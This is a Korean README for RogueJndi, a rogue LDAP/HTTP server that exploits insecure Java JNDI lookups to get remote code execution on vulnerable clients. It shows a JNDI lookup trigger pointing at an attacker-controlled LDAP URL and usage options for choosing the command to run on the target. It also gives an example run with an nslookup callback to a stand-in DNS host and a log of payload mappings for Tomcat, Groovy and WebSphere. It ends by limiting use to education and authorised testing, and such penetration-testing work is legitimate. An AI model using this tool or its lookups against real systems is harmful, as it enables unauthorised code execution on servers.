
JNDI 인젝션 공격을 위한 악성 LDAP 서버
JNDI 인젝션 공격을 위한 악성 LDAP 서버.
이 프로젝트는 기본적으로 안전하지 않은 Java JNDI API를 악용하기 위한 LDAP 및 HTTP 서버를 포함합니다.
공격을 수행하려면 로컬에서 이러한 서버를 시작한 다음 취약한 클라이언트에서 JNDI 조회를 트리거할 수 있습니다. 예:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
그러면 취약한 클라이언트에서 로컬 LDAP 서버로의 연결이 시작됩니다. 그런 다음 로컬 서버는 원격 코드 실행(RCE)을 달성하는 데 유용한 페이로드 중 하나를 포함하는 악성 항목으로 응답합니다.
기존의 알려진 JNDI 공격 방법(reference의 원격 클래스 로딩을 통한) 외에도, 이 도구는 ObjectFactories의 힘을 활용하여 새로운 공격 벡터를 제공합니다.
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
가장 중요한 매개변수는 LDAP 서버 호스트명(-n, 대상에서 접근 가능해야 함)과 대상 서버에서 실행하려는 명령(-c)입니다.
"-c" 옵션의 대안으로, ExportObject.java 파일을 수정하여 대상 서버에서 실행하려는 Java 코드를 넣을 수 있습니다.
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Java v1.7+ 및 Maven v3+ 필요
mvn package
이 소프트웨어는 교육 목적 및/또는 사용자가 공격할 사전 승인을 받은 시스템을 테스트하기 위한 목적으로만 제공됩니다.